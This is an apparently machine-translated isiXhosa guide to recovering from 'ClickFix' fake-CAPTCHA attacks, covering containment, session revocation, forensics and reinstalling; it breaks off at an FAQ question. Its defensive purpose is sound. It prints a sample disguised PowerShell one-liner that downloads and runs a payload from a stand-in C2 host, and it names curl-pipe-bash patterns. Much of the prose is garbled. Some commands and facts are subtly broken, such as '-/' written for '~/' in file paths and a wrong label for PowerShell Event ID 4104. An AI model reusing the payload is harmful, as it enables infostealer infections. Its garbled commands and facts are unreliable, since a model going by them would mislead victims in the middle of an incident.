I-'ClickFix' iFake CAPTCHA Scam: Kutheni ucinezela Win+R kunye neCtrl+V iSebenzisa i-Info-Stealer Malware¶

Ukuba uthe wacofa nje iqhosha elithi "Andiyorobhothi" okanye "Qinisekisa ukuba ungumntu" kwiwebhusayithi (okanye ubone i-Cloudflare Turnstile yobuxoki, i-Google Dibana, iSondeza, okanye i-popup yokuhlaziya isikhangeli) ekuyalele ukuba ucinezele Windows + R (okanye uvule macOS Terminal), cofa Ctrl + V (Cmd + V), kwaye ucofe Enter, ikhompyuter yakho isandula ukwenza i-malware ephilayo-idla ngokuba yi- Lumma Stealer, Vidar, StealC, RedLine, okanye Atomic macOS Stealer (AMOS) ulwazi olubiwe. Akukho semthethweni iCAPTCHA, itshekhi ye-Cloudflare, okanye isixhobo senkomfa yevidiyo eMhlabeni siya kuze sicele umntu ukuba avule iWindows Run dialog (Win + R), Windows Terminal, Command Prompt, okanye macOS Terminal kwaye uncamathisele umyalelo. Xa ucofa inkohliso "Qinisekisa" ibhokisi yokukhangela kwelo phepha lewebhu, iJavaScript enobungozi (navigator.clipboard.writeText()) ukhuphele ngokuthe cwaka i-PowerShell efihliweyo, mshta.exe, rundll32, okanye curl | bash umyalelo kwibhodi eqhotyoshwayo. Ngaphakathi 3 ukuya kwimizuzwana emi-6 yokucofa Enter, eso sikripthi sikhuphele inkumbulo ephunyeziweyo ekhutshiweyo kwaye yakhutshelwa igama eligqithisiweyo ngalinye eligciniweyo, gcwalisa ngokuzenzekelayo ikhadi letyala, i-cryptocurrency browser extension vault (MetaMask, Phantom, Rabby), ithokheni yeDiscord/Telegram, kunye ne-lock-in esebenzayo ** i-cookie yeseshoni** esuka kwiChrome, Edge, Brave, kunye neFirefox- evumela abahlaseli ukuba baqweqwedise i-Gmail yakho, iMicrosoft 365, ibhanki, kunye neeakhawunti zenkampani ngaphandle kokufuna igama eliyimfihlo okanye uQinisekiso lwezinto ezimbini (2FA). Ukulungiswa okunzulu kweeseshoni zebrowser eziqweqwedisiweyo, jongana kwakhona Iseshoni yokuqweqwedisa icookie, i-infostealer malware, kunye nokurhoxiswa kwesitshixo sokugqitha; ukuba sele ubona iimali ziphuma kwi-wallet yokuzimela, tsiba ngoko nangoko cryptocurrency isipaji idreyini kunye nembewu ibinzana comppromise; okanye ukuba umkhohlisi uthethe nawe ukuba ufake nayiphi na iDesk okanye iScreenConnect, yabona Inkxaso yeteknoloji pop-up scam kunye nokususwa kude desktop. Ukuba olu sulelo lwenzekile kwindawo yokusebenzela esibhedlele, kuthungelwano lukamasipala, okanye lubandakanya ukuxhwilwa ngoko nangoko kukhuseleko lobomi, tsalela umnxeba kwinombolo yakho kaxakeka yengingqi (911 eUnited States naseKhanada, 112 kwiManyano yaseYurophu, 999 eUnited Kingdom) okanye jonga uluhlu lwethu lwe amanani kaxakeka.

Yenza oku ngoku¶

1. Khupha intambo yakho ye-Ethernet okanye ucime i-Wi-Fi kwikhompyuter eyosulelekileyo kwimizuzwana emi-5: Ababiwa bolwazi bathanda Lumma Stealer ipakethe ibhrawuza yakho yeSQLite idatabase (Login Data, Cookies, Network/Cookies, Web Data) kwi a .zip ugcino kwi %TEMP% kwaye uyilayishe kuMyalelo-kunye noLawulo (C2) umncedisi, emva koko beka rhoqo iTrojan yoFikelelo olukude (RAT), ummeli we-SOCKS5 wokuhlala, okanye umlayishi we-ransomware. Ukuqhawula uqhagamshelo lwe-intanethi kumisa ukuhlawulwa kwesibini kunye nokusasazwa kwesikrini / isitshixo esiqhubekayo kwangoko.
2. SUKU sebenzisa ikhompyutha eyosulelekileyo ukutshintsha iipassword zakho-chola i-smartphone ecocekileyo (kwidatha yeselula) okanye ikhompyuter engosulelwanga ngoku: Ukuba i-keylogger eqhubekayo, umqweqwedisi webhodi eqhotyoshwayo, okanye HVNC (Imodyuli efihlakeleyo yeNethiwekhi yeKhompyutha) isebenza kwi-RAM kwi-PC eyosulelekileyo, ichwetheza amagama ayimfihlo amatsha kwakuloo PC inikezela ngeenkcukacha ezitsha ngqo kumhlaseli.
3. ** Kwifowuni yakho ecocekileyo, cofa "Phuma kuzo zonke izixhobo / Hlekisa zonke iiseshini ezisebenzayo" kwi-imeyile yakho yokuqala (Gmail / Microsoft 365 / Yahoo), umphathi wegama lokugqitha, kunye nomsebenzi weSSO (Okta / Entra ID) KUQALA**:
4. Kutheni ukutshintsha igama eliyimfihlo Akwanelanga: Abazisela ulwazi baba iikuki zakho zeseshoni yokuqinisekisa (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). Kwiiplatifti ezininzi, i-cookie yeseshoni ethunyelwa ngaphandle ihlala isebenza iintsuku okanye iiveki ngaphandle kokuba ucofa ngokucacileyo **Phuma kuzo zonke iiseshini / Hlehlisa amathokheni ** KWAYE ujikeleze igama eliyimfihlo.
5. Google / Gmail: Ndwendwela myaccount.google.com/device-activity -> khetha yonke iseshoni yedesktop -> cofa **Phuma **, emva koko utshintshe igama lokugqitha likaGoogle kwaye ujonge Settings -> Forwarding and POP/IMAP kwimithetho yokudlulisa cwaka.
6. Microsoft / Outlook / Entra ID: Ndwendwela mysignins.microsoft.com/security-info -> cofa Phuma kuyo yonke indawo, emva koko usete kwakhona igama lokugqitha lakho.
7. ** Ukuba ubunokongezwa kwe-wallet ye-cryptocurrency (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) kuloo khompyuter, khupha zonke iimali kwibinzana lembewu entsha kwisixhobo esicocekileyo kwangoko**:
8. Lumma Stealer kwaye AMOS khuphela uguqulelo oluntsonkothileyo Local Extension Settings I-IndexedDB/LevelDB yeefayile zevault ukusuka kwiChrome/Brave/Edge ngqo kwiseva yomhlaseli, apho amaqela e-GPU ahlanganisana ngoburhalarhume-nyanzelela indawo yakho yokuvula igama eliyimfihlo ngaphandle kweintanethi (okanye ufunde ibinzana lembewu ngokuthe ngqo kwi-RAM ukuba ivuliwe). Cinga ukuba yonke ibinzana lembewu kunye nesitshixo sabucala esake sagcinwa kuloo PC sisengozini ye-100 ekhulwini.
9. Phambi kokuba wosule iPC, gcina owona myalelo uwunamathiseleyo ukuze wazi ukuba kwenziwe ntoni na:
10. KwiWindows, vula iNotepad (ngelixa ungaxhunyiwe kwi-intanethi) kwaye ucinezele Ctrl + V ukuncamathisela nantoni na esahleli kwibhodi eqhotyoshwayo, okanye ucinezele Windows + R kwaye nqakraza utolo olwehlayo ukufunda Elona Sebe lisanda kusetyenziswa (MRU) Yenza imbali egcinwe kuyo HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Thatha ifoto yalo myalelo ngefowuni yakho ukuze ufumane impendulo yesiganeko.
11. **Yenza inkqubo yokusebenza ye-USB ecocekileyo kwakhona (okanye ukosula ngokupheleleyo ngaphandle kwe-intanethi) kunokuthembela kwiskena esikhawulezayo se-antivirus **: Yanamhlanje ClickFix Imithwalo isebenzisa iibhinari ezisemthethweni ezisayiniweyo zikaWindows (Living-off-the-Land Binaries okanye LOLBins njengaye mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, kwaye AutoIt3.exe) ezifaka kwiinkqubo zenkqubo esemthethweni (explorer.exe, svchost.exe) kwaye rhoqo ukongeza okukhutshiweyo kwiWindows Defender (Add-MpPreference -ExclusionPath).

Umthi wesigqibo: ukugcinwa kwangoko kunye nokubuyisela emva kweClickFix Win+R okanye Uncamathiselo lweterminal¶

Landela lo mthi wesigqibo ngalo mzuzu uqondayo ukuba unamathisele umyalelo kuwo Win + R, Windows Terminal, okanye iterminal yeMacOS:

flowchart TD
    Start["ICaptcha iFake iFake / impazamo Lungisa umyalelo kwiWin + R, PowerShell, okanye iMacOS Terminal"] --> Disconnect["INYATHELO 1 (0 ukuya kwiSekondi ezili-10): Khipha i-Ethernet kwaye Cima i-Wi-Fi kwiKhompyutha eyosulelekileyo ngoko nangoko."]

    Disconnect --> CryptoCheck{"Ngaba le Khompyutha inazo naziphi na izipaji ze-Crypto (iMetaMask, iPhantom, i-Exodus, iLedger Live, izitshixo ezigciniweyo)?"}

    CryptoCheck -->|"Ewe"| EvacCrypto["INYATHELO 2 (KULUNGILEYO): Kwifowuni ecocekileyo/i-Hardware Wallet, velisa ibinzana ELITSHA lembewu ELITSHA kwaye udlulisele zonke ii-asethi ngokukhawuleza."]
    CryptoCheck -->|"Hayi"| CleanDevice["INYATHELO 2: Tshintshela kwi-Smartphone ecocekileyo (iDatha yeSellula) okanye iDivaysi eNgenantsholongwane"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["INYATHELO 3: Hlaziya iiSeshini ezikwicala leServer kwaye ujike amagama ayimfihlo ngokoMyalelo oBalulekileyo ongqongqo"]

    RevokeSessions --> P1["1. I-imeyile ephambili (i-Gmail / M365 / iProton): Bulala zonke iiSeshini zeDivaysi eziSebenzayo, setha kwakhona igama eligqithisiweyo, khangela iMithetho yokuThumela"]
    P1 --> P2["2. Umsebenzi / iSSO (Okta / I-ID ye-Entra / VPN / AWS / GitHub / Izitshixo ze-SSH): Yazisa i-SOC yeNkampani Ngokukhawuleza ukuba ii-Akhawunti zoMsebenzi zingenisiwe"]
    P2 --> P3["3. Imali, iBhanki, iPayPal, iStripe, iAmazon, iSteam, iDiscord, kunye neeAkhawunti zeMedia yeNtlalo"]

    P3 --> InspectPayload["INYATHELO LESI-4 (I-Offline kwiPC eyosulelekileyo): Jonga i-RunMRU Registry & PowerShell Operational Evening Event ID 4104 ukuze uchonge uMlayisho"]

    InspectPayload --> WipeChoice{"Ngaba le yindawo yokuphela kweNkampani okanye ikhompyuter yakho?"}
    WipeChoice -->|"Ishishini / i-BYOD ngokuFikelela emsebenzini"| CorpIR["Umatshini wesandla ungaxhunyiwe kwi-intanethi kuKhuseleko lwe-IT / i-SOC ye-EDR Forensic Triage kunye ne-BitLocker Re-Image"]
    WipeChoice -->|"IiWindows / Mac zobuqu"| CleanInstall["Khuphela kuPhepha kuphela amaxwebhu angenanto (akukho .exe/.bat/.dmg) -> UkuQalisa i-USB ecocekileyo -> Sula izahlulo kwaye ubuyisele i-OS"]

Isigaba 1: I-Anatomy yohlaselo lwe-"ClickFix" -Iphepha lewebhu liqweqwedisa njani Win + R¶

Ukuqonda okwenzekileyo ngaphakathi kwesixokelelwano sakho sokusebenza ngexesha lemizuzwana emi-5 kuchaza ukuba kutheni iifayile ezithile kunye neeakhawunti zisengozini ngelixa ezinye zingekho.

1. Iindlela ezi-3 zobunjineli bezentlalo ezisetyenziswa kwimikhankaso yeClickFix¶

Abahlaseli basasaza ukugquma kweClickFix kuyo yonke inkohliso (iziphumo zophendlo ezixhasiweyo), iisayithi ze-WordPress ezisengozini, ii-portals zesoftware/umsinga, iindawo zokugcina ze-GitHub zomgunyathi, kunye nee-imeyile ezikhohlisayo: 1. I-Fake Cloudflare / Ibhokisi ye-reCAPTCHA kaGoogle ("Qinisekisa ukuba ungumntu"): Ucofa ibhokisi ethi "Andiyorobhothi". Endaweni yophawu oluluhlaza, kuvela i-popup ifundeka ngolu hlobo: "Indlela engaqhelekanga ifunyenwe. Ukuqinisekisa ukuba ungumntu, gqibezela la manyathelo ma-3: 1. Cofa Windows + R kwikhibhodi yakho. 2. Cinezela Ctrl + V. 3. Cinezela Enter." 2. IFake Chrome / Ifonti yoMda okanye impazamo yoHlaziyo ("Kukho into engahambanga kakuhle ekuboniseni eli phepha lewebhu"): Imvelaphi emfiliba igquma iwebhusayithi ngencoko yababini ejongeka ngokusemthethweni yeChrome ebanga isatifiketi esilahlekileyo okanye uhlaziyo lwefonti lufuna ukuba uvule Windows PowerShell / Terminal kwaye uncamathisele "iskripthi sokulungisa esisemthethweni." 3. IFake Zoom / Google Dibana / Imakrofoni yeQela leMicrosoft okanye impazamo yeKhamera: Ithunyelwe ngeememo zodliwano-ndlebe ezingeyonyani okanye iikhonkco zeentlanganiso zabathengi, iphepha libonisa isikrini sevidiyo esijikelezayo kwaye ikhuthaza abasebenzisi beMacOS kunye neWindows ukuba bavule Isiphelo kwaye uncamathisele umyalelo "wokusetha kwakhona umqhubi".

2. Kutheni lo myalelo ukhangeleka ungenabungozi kwi- Win + R ibhokisi¶

I Windows + R (Run) ibhokisi yokubhaliweyo yencoko yababini kuphela ** 259 abalinganiswa banzi ngokubonwayo** (MAX_PATH Indawo yongeniso ye-UI), kwaye ibonisa kuphela isiphelo somtya oncamathisiweyo emva kokuba ikhesa yakho itsibe ekunene. Abahlaseli basebenzisa le nto yokunqunyulwa kwembonakalo ngokupakisha umyalelo wabo okhohlakeleyo ngezithuba okanye bawuphelise ngamagqabaza obuxoki:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Yintoni kanye Lumma Stealer, StealC, kwaye AMOS uba kwimizuzwana emi-4¶

Inqanaba lesi-2: Ukuvalwa kweAkhawunti kunye nokurhoxiswa kweSeshini (Imizuzu 1 ukuya kuma-30 - Kwisixhobo esiCocekileyo)¶

Ngelixa iPC eyosulelekileyo ihlala iqhawukene ngokupheleleyo kwi-intanethi, sebenzisa i-i-smartphone ecocekileyo okanye ikhompyuter yesibini ukwenza olu landelelwano luchanekileyo.

Inyathelo 1: Tshixa iiAkhawunti zakho ze-imeyile (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Ku ** yonke ** iakhawunti ye-imeyile engenisiweyo kuyo nayiphi na iprofayile yomkhangeli (Default, Profile 1, Work) kule khompyutha: 1. Cima zonke iiseshini zesixhobo esisebenzayo: - Google / Gmail: Yiya ku myaccount.google.com/device-activity -> khetha i-Windows/Mac eyosulelekileyo isixhobo (kunye naziphi na iiseshoni ezingaqhelekanga) -> cofa **Phuma **. Kwakhona ndwendwela myaccount.google.com/connections kwaye urhoxise naziphi na ii-apps ze-OAuth zomntu wesithathu. - Microsoft (Personal & Work M365): Yiya ku account.live.com/proofs/Manage (yobuqu) okanye mysignins.microsoft.com/security-info (sebenza) -> cofa **Phuma kuyo yonke indawo . 2. ** Guqula igama lokugqitha le-imeyile libe kwigama elitsha kraca, igama lokugqitha elahlukileyo eligcinwe kuphela kwisixhobo sakho esicocekileyo. 3. Phicotha iMithetho ye-Inbox, izihluzi, kunye noThunyelo oluzenzekelayo ngoko nangoko: Abaqhubi be-Info-stealer baqhuba izikripthi ezizenzekelayo ezingena kwi-cookie ye-Gmail / i-Outlook phakathi kwemizuzu yosulelo kwaye wenze isihluzo esifihlakeleyo: Ukuba umyalezo uqulethe "Ukhuseleko", "Ikhowudi", "Coinbase", "Binance", "iBhanki", okanye "i-Steam" -> Phawula njengeFundiweyo, Phambili kumhlaseli, Hambisa kwiNkunkuma / Ukutya kweRSS. - KwiGmail: Vula imboniselo yedesktop -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses KUNYE Forwarding and POP/IMAP. Cima nasiphi na isihluzi esingaziwayo okanye idilesi yokudlulisela ngoko nangoko. - Kwi-Outlook / M365: Vula Settings -> Mail -> Rules KUNYE Mail -> Forwarding KUNYE Mail -> Junk email (jonga abathumeli abavaliweyo ukuqinisekisa ukuba umhlaseli akavimbanga no-reply@accounts.google.com okanye ibhanki yakho).

Inyathelo 2: Tshixa Abaphathi Bamagama Okugqithisa (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Ngaba uye wawagcina amagama ayimfihlo ngaphakathi kweChrome / Edge / uMphathi wegama eliyimfihlo owakhelwe ngaphakathi kweBrave? Igama ngalinye eliyimfihlo eligcinwe kwiChrome, Edge, Brave, Opera, okanye Firefox (ngaphandle kokuba iFirefox ineseti yegama elingundoqo eliyiPrayimari) yathunyelwa ngaphandle ngokubhaliweyo ngokucacileyo ngumebi wolwazi. Kufuneka uphathe i-100 yeepesenti yamagama ayimfihlo agcinwe kumphathi wephasiwedi eyakhelwe-ngaphakathi yesikhangeli njengento ephazamisekileyo kwaye uyitshintshe ngokuqala ngemali, i-imeyile, kunye neeakhawunti zomsebenzi.
• Ngaba uye wasebenzisa uMphathi wePassword ozinikeleyo (1Password, Bitwarden, Proton Pass, Keeper)?
• Ukuba ivault ibitshixiwe ngelixesha ubusenza umyalelo, ivault yakho efihliweyo ihlala ikhuselwe Ligama Lokugqithisa Elingumalathindlela/Isitshixo esiyiMfihlo.
• Ukuba ulwandiso lwevault lwaluluvulwa kwinkumbulo (okanye ukuba uchwetheze Igama Lokugqithisa Elingumalathindlela emva kokwenza umyalelo), ngena kumphathi wegama lokugqitha kwivault yewebhu esuka kwifowuni yakho ecocekileyo, cofa Ukungagunyazisi zonke iiseshini (Bitwarden: Settings -> My Account -> Deauthorize Sessions), Jikelezisa Igama Lokugqithisa Elingumalathindlela, kwaye ubeke phambili iinkcazi ezijikelezayo zexabiso eliphezulu ngaphakathi kwevault.

Inyathelo 3: Hlehlisa uMphuhlisi, uShishino, kunye neeTokens zeNgxoxo (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Ukutshintsha igama lokugqitha lakho leDiscord yenza ngokuzenzekelayo ingasebenzi ithokheni yakho yokungqinisisa yakudala (leveldb uphawu). Ngokukhawuleza tshintsha igama lokugqitha leDiscord kwifowuni yakho, jonga Settings -> Devices -> ** Phuma ngaphandle zonke izixhobo ezaziwayo **, kwaye khangela Settings -> Authorized Apps kwaye Settings -> Billing (susa amakhadi etyala agciniweyo/PayPal).
• ITelegram: Kwifowuni yakho, vula Telegram -> Settings -> Devices -> cofa Yekisa Zonke Ezinye Iiseshoni ngoko nangoko (oku kubulala nakuphi na okubiweyo tdata ikopi yesiqulathi seefayili zedesktop).
• ** Umphunga **: Kwifowuni yakho, vula i-Steam app -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, tshintsha igama lokugqitha lakho, kwaye ujonge ukuba akukho qhosha le-API libhaliswe kulo steamcommunity.com/dev/apikey (abaqhatha babhalisa isitshixo se-API ye-Steam Web API ukuqweqwedisa izibonelelo zorhwebo).
• GitHub / GitLab / AWS / SSH: Ukuba uyinjineli yesoftware okanye isysadmin, ndwendwela github.com/settings/sessions (rhoxisa iiseshoni zebrawuza), github.com/settings/keys (cima izitshixo ze-SSH ezigcinwe kuloo PC), github.com/settings/tokens (rhoxisa iiTokens zokuFikelela koBuqu), kwaye ujikelezise nayiphi na -/.aws/credentials Izitshixo ze-IAM kwi-console ye-AWS IAM ngoko nangoko. Jonga isikhokelo sethu esizinikeleyo isixokelelwano sonikezelo npm/PyPI ukuyekelela kunye nokujikelezisa isitshixo somphuhlisi wendawo yokusebenza.

Inqanaba lesi-3: Uhlolo lwe-Forensic ngaphandle kwe-intanethi-Ukufumana kanye ukuba yintoni eqhube kwiPC yakho¶

Ngaphambi kokuba wosule kwaye uphinde ufake ikhompyuter eyosulelekileyo (okanye ngelixa ulungiselela iqela lakho lokhuseleko leshishini ingxelo), unokujonga ngokukhuselekileyo ukuba yintoni ClickFix umyalelo wenza ngelixa ugcina umatshini 100% offline (Wi-Fi off, Ethernet unplugged).

1. Ukuhlola iiWindows Win + R Imbali kunye neeLogi zePowerShell¶

1. Jonga iWindows Run (Win + R) Ubhaliso lwe-MRU (Most Recently Used) uluhlu: Vula regedit.exe okanye ifestile ye-PowerShell engaxhunyiwe kwi-intanethi kwaye uqhube:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Wonke umyalelo owakhe wachwethezwa okanye wancamatheliswa kuwo Win + R igcinwa apha phantsi kweepropati a, b, c, njl MRUList.
2. Jonga iSkripthi soMsitho woLondolozo lweSibhalo sePowerShell (i-ID yoMsitho 4104): Nokuba umhlaseli usebenzise -WindowStyle Hidden (-w h) kunye ne-Base64 encoding (-EncodedCommand / -e), iWindows izenza iikhowudi ngokuzenzekelayo kwaye ifake izikripthi zePowerShell ezikrokrelayo kwi Umbukeli weMsitho:
3. Cinezela Win + X -> Umjongi weMnyhadala -> jonga ku Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Isihluzi seSazisi soMnyadala 4104 (Execute a Remote Command). Uza kubona eyona script ye-PowerShell eyi-deobfuscated, i-URL ekhutshelwe kuyo, kunye nefolda kwi %TEMP%, %AppData%, okanye %LocalAppData% apho iye yehla umvuzo wayo wesibini.
5. Jonga apho ukuzingisa kufakwe khona kwiWindows: Abenzi bolwazi kunye nemibhalo yabo yokulayisha (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) misela ukuqalisa ukusinda kwiindawo ezine:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

6. (Ukuba uyabona C:\, C:\Users, %AppData%, okanye .exe yongezwe ngaphantsi ExclusionPath okanye ExclusionProcess, i-malware yamfanyekise ngokucacileyo iMicrosoft Defender kumatshini wakho.)*

2. Ukuhlola i-macOS emva kweterminal ClickFix (Atomic macOS Stealer / AMOS okanye Poseidon)¶

Kwi-macOS, CofaFix amaphepha axelela umsebenzisi ukuba avule Itheminali (Cmd + Space -> Terminal) kwaye uncamathisele i-base64-encoded umyalelo njenge echo "..." | base64 -d | bash. 1. Ngelixa ungaxhunyiwe kwi-intanethi, jonga imbali yeqokobhe lakho (cat -/.zsh_history | tail -n 30 okanye cat -/.bash_history). 2. Jonga ukuba i-malware ifakele imvelaphi eqhubekayo LaunchAgent:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Inqanaba lesi-4: ULungiso olucocekileyo-Kutheni kufuneka usule kwaye uphinde ufake (okanye uqhube uhlangulo ngaphandle kweintanethi)¶

Amaziko okhuseleko (CISA, FBI, NCSC) cebisa ngamandla ukusula kunye nokufaka kwakhona inkqubo yokusebenza kwidrayivu ye-USB ecocekileyo emva kolwazi olubiweyo okanye LOLBin ufezekiso, kuba abalayishi basoloko betofa ikhowudi yeqokobhe kwindlela esemthethweni yokubini, faka i-rootkit/abaqhubi be-proxy, okanye ushiye iminyango engasemva eleleyo (NetSupport RAT / Cobalt Strike).

Inyathelo ngenyathelo UkuFakela kwakhona kunye neFayile eKhuselekileyo eKhuselekileyo¶

1. Ngelixa iPC eyosulelekileyo ikwi-offline, gcina iifayile zedatha KUPHELA: Khuphela kuphela amaxwebhu obuqu, iifoto, i-spreadsheets, kunye nekhowudi yemvelaphi (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) kwi-USB drive yangaphandle. Ungaze uxhase .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, okanye isikhangeli User Data Iifolda zeprofayile.
2. KwiSIBINI, coca ikhomputha, yenza i-bootable Windows 11 Media Creation USB (microsoft.com/software-download/windows11) okanye indawo yoBuyiselo ye-macOS.
3. **Qalisa kwi-installer ye-USB ecocekileyo **, cima zonke izahlulo ezikhoyo kwi-SSD ye-boot (ngoko i-EFI System Partition, MSR, kunye ne-primary OS partition zenziwa ngokutsha), kwaye ufake ikopi ecocekileyo yenkqubo yokusebenza.
4. **Ukuba awukwazi ukucima umatshini ngokukhawuleza **:
5. Susa zonke izinto ezikhutshiweyo kwi-Defender (Remove-MpPreference -ExclusionPath ...).
6. Qalisa kwi Imowudi eKhuselekileyo yeWindows eneNethiwekhi ivaliwe (okanye uqalise kwi- Kaspersky Rescue Disk / ESET SysRescue Live USB), kwaye uqhube iskeni ngokupheleleyo ngaphandle kweintanethi usebenzisa Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes, kunye ESET Online Scanner, kunye nokuhlola lonke ungeniso kwi Sysinternals Autoruns (autoruns64.exe) nge Fihla amaNgeno eMicrosoft akukhangelwanga.

Inqanaba lesi-5: Ukwenza lukhuni iiWindows kunye ne-macOS ngoko ke i-ClickFix ayinakuze yenzeke kwakhona¶

• Fihla okanye uvale ifayile Windows + R (Run) incoko yababini yamalungu osapho angengobuchwephesha okanye abasebenzisi beshishini eliqhelekileyo ngoMgaqo-nkqubo weQela / uBhaliso: Ukumisela NoRun = 1 (DWORD) ngaphantsi HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer ikhubaza ngokupheleleyo i Windows + R isinqumli se-keyboard. Kuba iipesenti ezingama-95 zohlaselo lweClickFix zixhomekeke ekucinezeleni komsebenzisi Win + R, ukukhubaza incoko yababini ye-Run kumisa uhlaselo olubandayo phambi kokuba umsebenzisi ancamathisele nantoni na.
• ** Tshintsha unxulumano lwefayile olungagqibekanga lwe .hta, .vbs, .js, kwaye .wsf imibhalo ukuya notepad.exe**: iyakhubaza mshta.exe kwaye wscript.exe ngeWindows Attack Surface Nciphiso (ASR) imithetho okanye unxulumano .hta/.vbs/.js ngeNotepad ithintela ukuphunyezwa kwescript.
• Phucula iiakhawunti ezibalulekileyo kwiiPasskeys ezibotshelelwe kwi-Hardware (FIDO2 / WebAuthn Izitshixo zoKhuseleko ezifana neYubiKey): Ngelixa ulwazi-ababiwayo banokuba iikuki zeseshoni kwibhrawuza emva kokungena, izitshixo zokhuseleko zehardware (FIDO2) kunye nobomi beseshoni emfutshane kunye noVavanyo lokuFikelela oluQolekileyo (CAE / IiNkcazo zeSeshini eziBontshwe kwisixhobo DBSC) bathintele abahlaseli ekuqinisekiseni kwakhona okanye ukuthumela ngaphandle iziqinisekiso ezisisiseko.
• Faka isikhangeli sentengiso kunye ne-blocker engalunganga (uBlock Origin / uBlock Origin Lite) kwaye wenze ukhangelo zincwadi olomeleziweyo oluKhuselekileyo: Ngaphezulu kweepesenti ezingama-60 zosulelo lweClickFix luvela kwiintengiso ezinobungozi zikaGoogle/Bing ezizenza isoftware esemthethweni (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) okanye iindawo zokusasaza.

Iinombolo zengingqi zikaxakeka kunye neeprothokholi ze-arhente¶

Ukuba i-ClickFix / Lumma Stealer usulelo lubeke esichengeni iziqinisekiso zenkampani, iinkqubo zempilo, iiakhawunti zemali, okanye uthungelwano lukarhulumente, xela isiganeko ngoko nangoko ngokusebenzisa amajelo asemthethweni:

• I-United States neKhanada:
• UKhuseleko kuBomi obuNgxamisekileyo / iZibonelelo eziBalulekileyo: Cofa 911 ukuba usulelo luphazamisa iinkqubo zesibhedlele okanye imisebenzi yokhuseleko loluntu.
• Iziko le-FBI le-Intanethi yesikhalazo soLwaphulo-mthetho (IC3) (US): Fayila ingxelo ekhawulezileyo apha ic3.gov (ingakumbi ukuba i-cryptocurrency, iingcingo zebhanki, okanye i-Compromise ye-imeyile yeShishini ivele kwi-cookie yeseshoni ebiweyo).
• I-Arhente yoKhuseleko lwe-cybersecurity kunye ne-Infrastructure Security Agency (CISA) (US): Amashishini kunye nemibutho ebalulekileyo yeziseko ezingundoqo kufuneka ichaze ulwaphulo-mthetho lolwazi 1-844-Say-CISA (1-844-729-2472) okanye cisa.gov/report.
• Iziko laseKhanada elichase ubuqhophololo (CAFC) kunye neZiko leCyber: Fowuna 1-888-495-8501 okanye ingxelo ku cyber.gc.ca.
• Iunited Kingdom:
• Iinkonzo zikaNgxamiseko: Cofa 999 (okanye 101 kumapolisa angengawo awexesha likaxakeka).
• Ubuqhophololo bokuSebenza kunye neNCSC: Xela ulwaphulo-mthetho kwi-intanethi kunye neemali ezibiweyo ku-Izenzo zobuqhophololo (0300 123 2040 / actionfraud.police.uk). Ukuba idatha yomthengi wenkampani okanye iziqinisekiso ziye zagqithiswa, kuvavanya okunyanzelekileyo ** 72 iiyure UK GDPR isaziso kwi-ICO (0303 123 1113)**.
• Udibano lwaseyurophu:
• Iinkonzo zikaNgxamiseko: Cofa 112 kuwo onke amazwe angamalungu e-EU.
• **Inqaku le-GDPR 33 & NIS2 CSIRT Ingxelo **: Ngenxa yokuba Lumma Stealer ikhupha yonke ibhrawuza Login Data, Cookies, kunye ne-cache yokuzalisa ngokuzenzekelayo, nayiphi na ilaptop yenkampani eyosulelekileyo ebambe umqeshwa okanye umthengi idatha yobuqu ibandakanya **ukwaphulwa kwedatha eyimfihlo eqinisekisiweyo , efuna uvavanyo ** isaziso seeyure ezingama-72 kuGunyaziwe woKhuseleko lweDatha yesizwe (DPA).
• I-Australia neNew Zealand:
• Iinkonzo zikaNgxamiseko: Cofa 000 eOstreliya okanye 111 eNew Zealand.
• Iziko loKhuseleko lweCyber yaseAustralia (ACSC / ReportCyber): Fowuna 1300 CYBER1 (1300 292 371) okanye ifayile e cyber.gov.au (kwaye uqhagamshelane IDCARE ku 1800 595 160 yokubuyisela isazisi). ENew Zealand, ingxelo ku CERT NZ (0800 237 869).
• Indiya kunye neAsia-Pacific:
• ** Umnxeba woNcedo kuLwaphulo-mthetho lweSizwe lwaseIndiya & CERT-In**: Fowuna 1930 ngoko nangoko ukuba kwenzeke ubuqhophololo ngokwezemali, gcina apha cybercrime.gov.in, kunye nokuxela ukophulwa kombutho ku CERT-In (incident@cert-in.org.in) kwiiyure ezi-6.

Imibuzo edla ngokubuzwa¶

Ndavula Win + R kwaye wacinezela Ctrl + V, ngoko ke okubhaliweyo kwavela kwibhokisi, kodwa ndiye ndaqonda ukuba kujongeka kumthunzi kwaye ndacofa "Rhoxisa" NGAPHANDLE kokucinezela. Enter. Ngaba ndosulelekile?¶

